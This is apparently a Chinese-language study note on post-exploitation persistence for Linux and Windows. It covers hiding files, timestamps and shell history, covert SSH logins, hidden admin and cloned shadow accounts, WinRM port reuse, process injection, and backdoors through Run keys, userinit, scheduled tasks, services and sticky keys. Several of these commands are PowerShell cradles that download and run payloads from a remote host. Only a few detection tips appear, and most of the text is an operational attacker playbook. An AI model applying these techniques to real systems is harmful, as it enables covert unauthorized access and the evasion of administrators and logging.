🗒️权限维持
2023-11-22
| 2023-11-23
字数 2873阅读时长 8 分钟
type
status
date
slug
summary
tags
category
icon
password

linux

1.隐藏文件&-开头文件

.开头即为隐藏文件,ls -al查找
-开头文件的作用

2.隐藏时间戳

①用其他文件的时间
touch -r “其他文件” ”创建文件“
②自定义修改时间戳
touch -t 0511241130 1.txt
③查看方法
命令:stat
 
具体效果见代码块:

3.隐藏权限

锁定文件:chattr +i 1.txt
解除锁定:chattr -i 1.txt

4.隐藏删除历史记录

history -d num echo "">~/.bash_history #重定向为空

5.ssh隐身登录

ssh -T命令
不记录登录信息,无法被who、w、last命令检测
检测方式: 仅能通过日志查询

6.隐身进程

使用github项目创建
适用于:centos
根据官方说明使用即可。
需要注意的是:gcc编译如果不同机器版本不同则可能出现kali机器编译,在目标机器无法执行的情况,所以最好在目标机器进行编译
 
查找隐藏进程:
apt install unhide unhide proc#检查是否存在隐藏进程
通过查看动态链接库 /etc/ld.so 或查看近期被创建或者被改名为.so后缀的文件
推荐进程隐藏工具: https://github.com/gaffe23/linux-inject

7.添加用户密码(一步到位)

8.SUID

notion image

9.ssh公私钥免密登录(rsa)

redis利用

10.crontab反弹shell

11.rookit后门

windows

1.隐藏文件

  • 假隐藏
    • 文件属性隐藏,dir看不见,但是dir /a可以看见
      且设置改为“不显示隐藏的………”时,在资源管理器中也看不见1.txt (此处我是显示)
      notion image
notion image
  • 真隐藏
    • 通过命令attrib
      相当于给原本的文件增加系统文件属性、存档文件属性、只读文集属性、隐藏文件属性
      attrib +s +a +h +r 1.txt
      此时哪怕显示隐藏文件夹,依然不会在资源管理器显示,但是dir /a仍然可用
      notion image
      排查方式2:
      取消受保护的操作系统文件
      notion image
  • 利用ADS隐藏(数据流)
    • 原理:基于已存在的文件写入数据流
      语法:echo "1" > 1.txt
      echo "111" > 1.txt:sadassdsadasdassa
      dir /r可查 dir /a不可查
      notion image
      notion image
      notion image

      2.隐藏账号和克隆账号

      2.0隐藏账号

      添加隐藏账户并加入管理员组:
      net user test$ qaz123 /add
      net localgroup administrators test$ /add
      此时用命令查不到test$用户
      notion image
      右键,计算机→管理
      正常这里会出现test$用户,我这个盗版win虚拟机没有“本地用户和组”的功能,这是主机截图,虚拟机的命令,所以没显示
      notion image

      2.1 影子账户(这个D盾也能检测到。)

      注册表 HKEY_LOCAL_MACHINE\SAM\SAM,首先给SAM文件夹分配权限
      然后重新打开regedit就可以查看以下的文件夹
      notion image
      导出它们分别为3.reg,2.reg,1.reg(从上往下)。
      3.reg对应的就是administrator用户的值
      将它里面的hex值替换到2.reg中
notion image
在注册表中删除test$用户,然后重新导入注册表1.reg,2.reg
net user test$ /del regedit /s 1.reg regedit /s 2.reg
关闭防火墙,开启远程访问,即可通过3389的远程连接连接到这台计算机,登录的账户为administrator,此处不演示,win10家庭版不具备此功能,已在win2008成功
 
影子账户(克隆账号)的修复方式:删除对应的注册表即可

3.端口复用

①开启winrm服务(域管win2008)
需要配置LocalAccountTokenFilterPolicy以允许远程管理本地用户的权限。
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
再开启服务
winrm quickconfig -q
notion image
②增加80端口复用(域管win2008)
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}
notion image
③更改winrm为80端口(域管win2008)
  • 默认5985端口开启,不需要更改端口
  • 默认5985端口不开启,则更改winrm为80端口,否则会因为端口改变而引起管理员关注
    • winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}
      notion image
④攻击机也需要启动winrm并设置信任连接 (域内win7)
启动winrm
winrm quickconfig -q
notion image
设置信任主机地址
winrm set winrm/config/Client @{TrustedHosts="*"}
notion image
⑤最后通过以下命令即可执行命令(域内win7)
winrs -r:http://192.168.245.134 -u:administrator -p:hwx1234. whoami
notion image

4.进程注入

原理二进制方向,将自己的恶意代码运行于其他进程中(选择常用进程,且尽量无需重启的进程、系统自启)常用进程-桌面服务-explorer(关了之后windows屏幕就是一片漆黑)
实验:
win10主机对win2008先建立一个shell
notion image
点击注入选择监听器为1,得到新回连的shell
notion image
notion image
由于这个进程基本不会关,所以我们shell可以一直存在(除了电脑重启,这就需要之后的自启动配置了)

5.注册表自启动

补充知识:
  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run表示任何账户每一次登陆到Windows系统都会自动启动在这个项下面注册的程序
  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce表示任何账户下一次登陆到Windows系统会自动启动在这个项下面注册的程序,以后就不会自启了
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run表示当前账户每一次登陆到Windows系统都会自动启动在这个项下面注册的程序
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce表示当前账户下一次登陆到Windows系统会自动启动在这个项下面注册的程序,以后就不会自启了
实验:
路径:
计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
修改自启动目录注册表中的键值,字符串值随便写,添加一个木马路径,或powershell指令
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://172.16.110.155:8006/a'))"
之后每次重启都会cs都会上线这个机器
notion image
notion image
 
补充知识:
logon scripts后门
注册表路径:HKEY_CURRENT_USER--------->Environment---------->新建字符串值,与前面的利用方式一样
 
userinit后门
用户登录时winlogon运行指定的程序, HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWSNT\CUERRNTVERSION\WINLOGON-----
直接在userinit.exe,后加另一个powershell一句话或者木马路径即可
notion image
notion image

6.组策略启动脚本

gpedit.msc进入,计算机配置-》windows设置-》脚本启动/关机-》启动-》添加脚本
最后重启计算机cs就可以上线了,这个exe就是cs生成的window exe木马
notion image

7.计划任务

7.1图形化界面
notion image
7.2命令行操作:
创建计划任务:
web投递的链接要用单引号,不能用双引号,但是这个语句写进去后在图形化界面自动就转成
"http://172.16.110.155:8022/x",然后就失败了。cs无法收到木马,麻了
schtasks /create /sc minute /mo 1 /tn "cmd test" /tr 'powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://172.16.110.155:8022/x'))\"'
 
这里还是直接传入exe,写进木马exe的路径即可,类似以下写法,完全没一点问题
schtasks /create /sc minute /mo 1 /tn "test" /tr "c:\windows\system32\cmd.exe"

8.服务自启

跟第七个差不多,就用cmd演示一下
sc create "test" binPath= "C:\windows\system32\cmd.exe" start= auto
注意,binPath=后必须加空格才能写值,start=也一样,否则语法会报错

9.wmi后门

没有尝试,用的时候再说

10.dll劫持

没有尝试,用的时候再说

11.自带组件后门

粘滞键 触发:狂敲shift 放大镜 触发:win+加号 直接修改木马名为这俩个的程序名,将原来的备份即可
其他的之后再谈
 
  • 内网相关
  • windows命令与文件下载外到内三层靶机思路记录
    Loading...